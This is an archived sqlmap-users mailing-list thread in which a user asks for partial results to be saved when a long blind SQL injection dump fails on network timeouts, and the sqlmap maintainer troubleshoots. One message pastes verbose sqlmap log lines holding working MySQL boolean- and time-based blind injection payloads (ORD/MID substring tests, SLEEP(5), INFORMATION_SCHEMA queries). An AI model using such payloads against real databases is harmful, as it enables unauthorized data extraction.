Thread: [sqlmap-users] dump data after timeout condition
Brought to you by:
inquisb
Menu
▾
▴
sqlmap-users
|
From: Dirk W. <sp...@dr...> - 2014-07-14 09:55:25
|
Hi, sorry if I missed something but wouldn't it make sense to dump already retrieved data if sqlmap is encountering a timeout beyond the specified/ default value? [09:54:19] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:20] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:21] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:22] [CRITICAL] connection exception detected in dumping phase: 'unable to connect to the target URL or proxy' [..2 lines of private output omitted...] [09:54:22] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:23] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:24] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:25] [CRITICAL] unable to connect to the target URL or proxy [09:54:25] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 36 times, 503 (Service Unavailable) - 2 times [*] shutting down at 09:54:25 My specific case was a boolean-based blind vulnerability and I tried to retrieve a few tables with big chunks of data. It was running for >2 days already. Cheers, Dirk |
|
From: Sharma, V. <viv...@bl...> - 2014-07-14 10:06:37
|
Hi Dirk, Try adding --authorization header to the cmd options. It worked for me as well. I was having the same issue as well. Regards Vivek Sharma -----Original Message----- From: Dirk Wetter [mailto:sp...@dr...] Sent: Monday, July 14, 2014 3:13 PM To: sql...@li... Subject: [sqlmap-users] dump data after timeout condition Hi, sorry if I missed something but wouldn't it make sense to dump already retrieved data if sqlmap is encountering a timeout beyond the specified/ default value? [09:54:19] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:20] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:21] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:22] [CRITICAL] connection exception detected in dumping phase: 'unable to connect to the target URL or proxy' [..2 lines of private output omitted...] [09:54:22] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:23] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:24] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:25] [CRITICAL] unable to connect to the target URL or proxy [09:54:25] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 36 times, 503 (Service Unavailable) - 2 times [*] shutting down at 09:54:25 My specific case was a boolean-based blind vulnerability and I tried to retrieve a few tables with big chunks of data. It was running for >2 days already. Cheers, Dirk ------------------------------------------------------------------------------ Want fast and easy access to all the code in your enterprise? Index and search up to 200,000 lines of code with a free copy of Black Duck® Code Sight™ - the same software that powers the world's largest code search on Ohloh, the Black Duck Open Hub! Try it now. http://p.sf.net/sfu/bds _______________________________________________ sqlmap-users mailing list sql...@li... https://lists.sourceforge.net/lists/listinfo/sqlmap-users THIS MESSAGE AND ANY ATTACHMENTS ARE CONFIDENTIAL, PROPRIETARY, AND MAY BE PRIVILEGED. If this message was misdirected, BlackRock, Inc. and its subsidiaries, ("BlackRock") does not waive any confidentiality or privilege. If you are not the intended recipient, please notify us immediately and destroy the message without disclosing its contents to anyone. Any distribution, use or copying of this e-mail or the information it contains by other than an intended recipient is unauthorized. The views and opinions expressed in this e-mail message are the author's own and may not reflect the views and opinions of BlackRock, unless the author is authorized by BlackRock to express such views or opinions on its behalf. All email sent to or from this address is subject to electronic storage and review by BlackRock. Although BlackRock operates anti-virus programs, it does not accept responsibility for any damage whatsoever caused by viruses being passed. |
|
From: Dirk W. <sp...@dr...> - 2014-07-14 10:37:13
|
<html>
<head>
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type">
</head>
<body bgcolor="#FFFFFF" text="#000000">
<div class="moz-cite-prefix"><br>
Hi Sharma,<br>
<br>
<br>
Am 07/14/2014 12:06 PM, schrieb Sharma, Vivek:<br>
</div>
<blockquote
cite="mid:C11...@US..."
type="cite">
<pre wrap="">Hi Dirk,
Try adding --authorization header to the cmd options. It worked for me as well. I was having the same issue as well.</pre>
</blockquote>
<br>
<br>
thx but my problem was a network timeout.<br>
<br>
<br>
Next time I will increase the timeout and retry value but still I
though it<br>
would be great in general if sqlmap would dump the already retrieved
data<br>
if a problem similar to mine occurs.<br>
<br>
Cheers, Dirk<br>
<br>
<br>
<br>
<blockquote
cite="mid:C11...@US..."
type="cite">
<pre wrap="">
-----Original Message-----
From: Dirk Wetter [<a class="moz-txt-link-freetext" href="mailto:sp...@dr...">mailto:sp...@dr...</a>]
Sent: Monday, July 14, 2014 3:13 PM
To: <a class="moz-txt-link-abbreviated" href="mailto:sql...@li...">sql...@li...</a>
Subject: [sqlmap-users] dump data after timeout condition
Hi,
sorry if I missed something but wouldn't it make sense to dump already retrieved data if sqlmap is encountering a timeout beyond the specified/ default value?
[09:54:19] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:20] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:21] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:22] [CRITICAL] connection exception detected in dumping phase: 'unable to connect to the target URL or proxy'
[..2 lines of private output omitted...] [09:54:22] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:23] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:24] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:25] [CRITICAL] unable to connect to the target URL or proxy [09:54:25] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 36 times, 503 (Service Unavailable) - 2 times
[*] shutting down at 09:54:25
My specific case was a boolean-based blind vulnerability and I tried to retrieve a few tables with big chunks of data.
It was running for >2 days already.
Cheers,
Dirk
------------------------------------------------------------------------------
Want fast and easy access to all the code in your enterprise? Index and search up to 200,000 lines of code with a free copy of Black Duck&#174; Code Sight&#153; - the same software that powers the world's largest code search on Ohloh, the Black Duck Open Hub! Try it now.
<a class="moz-txt-link-freetext" href="http://p.sf.net/sfu/bds">http://p.sf.net/sfu/bds</a>
_______________________________________________
sqlmap-users mailing list
<a class="moz-txt-link-abbreviated" href="mailto:sql...@li...">sql...@li...</a>
<a class="moz-txt-link-freetext" href="https://lists.sourceforge.net/lists/listinfo/sqlmap-users">https://lists.sourceforge.net/lists/listinfo/sqlmap-users</a>
THIS MESSAGE AND ANY ATTACHMENTS ARE CONFIDENTIAL, PROPRIETARY, AND MAY BE PRIVILEGED. If this message was misdirected, BlackRock, Inc. and its subsidiaries, ("BlackRock") does not waive any confidentiality or privilege. If you are not the intended recipient, please notify us immediately and destroy the message without disclosing its contents to anyone. Any distribution, use or copying of this e-mail or the information it contains by other than an intended recipient is unauthorized. The views and opinions expressed in this e-mail message are the author's own and may not reflect the views and opinions of BlackRock, unless the author is authorized by BlackRock to express such views or opinions on its behalf. All email sent to or from this address is subject to electronic storage and review by BlackRock. Although BlackRock operates anti-virus programs, it does not accept responsibility for any damage whatsoever caused by viruses being passed.
</pre>
</blockquote>
<br>
</body>
</html>
|
|
From: Miroslav S. <mir...@gm...> - 2014-07-14 18:56:45
|
Hi Dirk. sqlmap doesn't retrieve already retrieved data. It stores them into the local session data for later (re)usage. "boolean-based blind vulnerability and I tried to retrieve a few tables with big chunks of data" -> I would expect your problem in union SQLI, but not boolean-based blind. Please make sure that: 1) you are running the latest revision from our Github repository 2) that target is not having some kind of WAF protection mechanism that does the hard drop of requests As said, I don't see a reason why would sqlmap fail here. It would be great if you could isolate "problematic" payload with usage of -v 3 and try it inside the browser (to see what's happening) Kind regards, Miroslav Stampar On Mon, Jul 14, 2014 at 12:29 PM, Dirk Wetter <sp...@dr...> wrote: > > Hi Sharma, > > > Am 07/14/2014 12:06 PM, schrieb Sharma, Vivek: > > Hi Dirk, > > > Try adding --authorization header to the cmd options. It worked for me as well. I was having the same issue as well. > > > > thx but my problem was a network timeout. > > > Next time I will increase the timeout and retry value but still I though > it > would be great in general if sqlmap would dump the already retrieved data > if a problem similar to mine occurs. > > Cheers, Dirk > > > > > > > -----Original Message----- > From: Dirk Wetter [mailto:sp...@dr... <sp...@dr...>] > Sent: Monday, July 14, 2014 3:13 PM > To: sql...@li... > Subject: [sqlmap-users] dump data after timeout condition > > > Hi, > > sorry if I missed something but wouldn't it make sense to dump already retrieved data if sqlmap is encountering a timeout beyond the specified/ default value? > > [09:54:19] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:20] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:21] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:22] [CRITICAL] connection exception detected in dumping phase: 'unable to connect to the target URL or proxy' > [..2 lines of private output omitted...] [09:54:22] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:23] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:24] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:25] [CRITICAL] unable to connect to the target URL or proxy [09:54:25] [WARNING] HTTP error codes detected during run: > 500 (Internal Server Error) - 36 times, 503 (Service Unavailable) - 2 times > > [*] shutting down at 09:54:25 > > > My specific case was a boolean-based blind vulnerability and I tried to retrieve a few tables with big chunks of data. > It was running for >2 days already. > > > Cheers, > > Dirk > > > > > > ------------------------------------------------------------------------------ > Want fast and easy access to all the code in your enterprise? Index and search up to 200,000 lines of code with a free copy of Black Duck® Code Sight™ - the same software that powers the world's largest code search on Ohloh, the Black Duck Open Hub! Try it now.http://p.sf.net/sfu/bds > _______________________________________________ > sqlmap-users mailing lis...@li...https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > THIS MESSAGE AND ANY ATTACHMENTS ARE CONFIDENTIAL, PROPRIETARY, AND MAY BE PRIVILEGED. If this message was misdirected, BlackRock, Inc. and its subsidiaries, ("BlackRock") does not waive any confidentiality or privilege. If you are not the intended recipient, please notify us immediately and destroy the message without disclosing its contents to anyone. Any distribution, use or copying of this e-mail or the information it contains by other than an intended recipient is unauthorized. The views and opinions expressed in this e-mail message are the author's own and may not reflect the views and opinions of BlackRock, unless the author is authorized by BlackRock to express such views or opinions on its behalf. All email sent to or from this address is subject to electronic storage and review by BlackRock. Although BlackRock operates anti-virus programs, it does not accept responsibility for any damage whatsoever caused by viruses being passed. > > > > > > ------------------------------------------------------------------------------ > Want fast and easy access to all the code in your enterprise? Index and > search up to 200,000 lines of code with a free copy of Black Duck® > Code Sight™ - the same software that powers the world's largest code > search on Ohloh, the Black Duck Open Hub! Try it now. > http://p.sf.net/sfu/bds > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > -- Miroslav Stampar http://about.me/stamparm |
|
From: Dirk W. <sp...@dr...> - 2014-07-15 10:42:49
|
Hi Miroslav, Am 07/14/2014 08:56 PM, schrieb Miroslav Stampar: > Hi Dirk. > > sqlmap doesn't retrieve already retrieved data. It stores them into the local session data for later (re)usage. I thought so too. But when for some reason the network times out or any other special circumstances occur it would be great if sqlmap would just dump immediately what it retrieved so far. I started it again afterwards, hoping after ^C it would dump the whole data then but it dumped 1-2 lines only. > > "boolean-based blind vulnerability and I tried to retrieve a few tables with big chunks of data" -> I would expect your problem in union SQLI, but not boolean-based blind. nope, definitely it's a boolean based blind and at the same time (same variable) a time-based blind vulnerability I am exploiting. During this run I left sqlmap the choice which one to exploit. Previously I thought I restricted it to use --technique=B . > > Please make sure that: > 1) you are running the latest revision from our Github repository check (ok, from last week) > 2) that target is not having some kind of WAF protection mechanism that does the hard drop of requests check (definitely network issue). But I didn't run wireshark or so, so I can't tell whether a TCP RST was sent from a party in between. > > As said, I don't see a reason why would sqlmap fail here. It would be great if you could isolate "problematic" payload with usage of -v 3 and try it inside the browser (to see what's happening) Miroslav, I can only report what I observed :-) Data retrieval on this special table was running for ~3 days. I retrieved numerous other tables the week before (exactly the same vulnerability) and I am really certain the original cause of the hiccup was just a network outage. The last famous words before bail out were: [09:54:15] [INFO] retrieving the length of query output [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT 21,1),1,1))>51 AND (7548=7548 [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT 21,1),1,1))>48 AND (7548=7548 [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT 21,1),1,1))>1 AND (7548=7548 [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT 21,1),1,1))>47 AND (7548=7548 [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT 21,1),2,1))>51 AND (7548=7548 [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT 21,1),2,1))>48 AND (7548=7548 [09:54:17] [PAYLOAD] 2885) AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT 21,1),2,1))>1 AND (7548=7548 [09:54:17] [INFO] retrieved: 0 [09:54:17] [DEBUG] performed 7 queries in 2.11 seconds [09:54:17] [DEBUG] performed 0 queries in 2.12 seconds [09:54:17] [PAYLOAD] 2885) AND 6853=IF((ORD(MID((SELECT IFNULL(CAST(<row> AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT 21,1),1,1))>64),SLEEP(5),6853) AND (5650=5650 [09:54:19] [PAYLOAD] 2885) AND 6853=IF((ORD(MID((SELECT IFNULL(CAST(<row> AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT 21,1),1,1))>32),SLEEP(5),6853) AND (5650=5650 [09:54:19] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:20] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:21] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:22] [INFO] fetching columns for table <table> in database <db> [09:54:22] [PAYLOAD] 2885) AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=<hexstr1> AND table_schema=<hexstr2>),1,1))>51 AND (1291=1291 [09:54:22] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:23] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:24] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:54:25] [CRITICAL] unable to connect to the target URL or proxy [09:54:25] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 36 times, 503 (Service Unavailable) - 2 times [*] shutting down at 09:54:25 I won't be able to reproduce it, sorry. ;-/ My point is a feature request: if an error condition occurs, sqlmap should better dump immediately the data it already retrieved, in csv format. Cheers, Dirk PS: I didn't modify any timeout or retry values, so normally I would expect sqlmap at least 3x30 seconds before bail out, correct? |
|
From: Miroslav S. <mir...@gm...> - 2014-07-16 06:21:10
|
IMO, problem with immediate table dump after a timeout could be that the average user would falsely think that everything went ok. I would really suggest you to find out why all of a sudden the are timeouts. Bye On Jul 15, 2014 12:42 PM, "Dirk Wetter" <sp...@dr...> wrote: > Hi Miroslav, > > Am 07/14/2014 08:56 PM, schrieb Miroslav Stampar: > > Hi Dirk. > > sqlmap doesn't retrieve already retrieved data. It stores them into the > local session data for later (re)usage. > > > I thought so too. But when for some reason the network times out or any > other special circumstances occur > it would be great if sqlmap would just dump immediately what it retrieved > so far. I started it again afterwards, > hoping after ^C it would dump the whole data then but it dumped 1-2 lines > only. > > > "boolean-based blind vulnerability and I tried to retrieve a few tables > with big chunks of data" -> I would expect your problem in union SQLI, but > not boolean-based blind. > > > nope, definitely it's a boolean based blind and at the same time (same > variable) a time-based blind vulnerability I am exploiting. > During this run I left sqlmap the choice which one to exploit. Previously > I thought I restricted it to use > --technique=B . > > > Please make sure that: > 1) you are running the latest revision from our Github repository > > > check (ok, from last week) > > 2) that target is not having some kind of WAF protection mechanism that > does the hard drop of requests > > > check (definitely network issue). But I didn't run wireshark or so, so I > can't tell whether a TCP RST was sent > from a party in between. > > > As said, I don't see a reason why would sqlmap fail here. It would be > great if you could isolate "problematic" payload with usage of -v 3 and try > it inside the browser (to see what's happening) > > > Miroslav, I can only report what I observed :-) Data retrieval on this > special table was running for ~3 days. > I retrieved numerous other tables the week before (exactly the same > vulnerability) and I am really certain the > original cause of the hiccup was just a network outage. > > The last famous words before bail out were: > > [09:54:15] [INFO] retrieving the length of query output > [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY > id LIMIT 21,1),1,1))>51 AND (7548=7548 > [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY > id LIMIT 21,1),1,1))>48 AND (7548=7548 > [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id > LIMIT 21,1),1,1))>1 AND (7548=7548 > [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY > id LIMIT 21,1),1,1))>47 AND (7548=7548 > [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id > LIMIT 21,1),2,1))>51 AND (7548=7548 > [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY > id LIMIT 21,1),2,1))>48 AND (7548=7548 > [09:54:17] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY > id LIMIT 21,1),2,1))>1 AND (7548=7548 > [09:54:17] [INFO] retrieved: 0 > [09:54:17] [DEBUG] performed 7 queries in 2.11 seconds > [09:54:17] [DEBUG] performed 0 queries in 2.12 seconds > [09:54:17] [PAYLOAD] 2885) AND 6853=IF((ORD(MID((SELECT IFNULL(CAST(<row> > AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT > 21,1),1,1))>64),SLEEP(5),6853) AND (5650=5650 > [09:54:19] [PAYLOAD] 2885) AND 6853=IF((ORD(MID((SELECT IFNULL(CAST(<row> > AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT > 21,1),1,1))>32),SLEEP(5),6853) AND (5650=5650 > [09:54:19] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:20] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:21] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:22] [INFO] fetching columns for table <table> in database <db> > [09:54:22] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM > INFORMATION_SCHEMA.COLUMNS WHERE table_name=<hexstr1> AND > table_schema=<hexstr2>),1,1))>51 AND (1291=1291 > [09:54:22] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:23] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:24] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:25] [CRITICAL] unable to connect to the target URL or proxy > [09:54:25] [WARNING] HTTP error codes detected during run: > > 500 (Internal Server Error) - 36 times, 503 (Service Unavailable) - 2 times > > [*] shutting down at 09:54:25 > > > I won't be able to reproduce it, sorry. ;-/ My point is a feature request: > if an error condition occurs, sqlmap > should better dump immediately the data it already retrieved, in csv > format. > > > Cheers, > > Dirk > > PS: I didn't modify any timeout or retry values, so normally I would > expect sqlmap at least 3x30 seconds before bail out, correct? > > > |
×
Want the latest updates on software, tech news, and AI?
Get latest updates about software, tech news, and AI from SourceForge directly in your inbox once a month.
Thanks for helping keep SourceForge clean.
X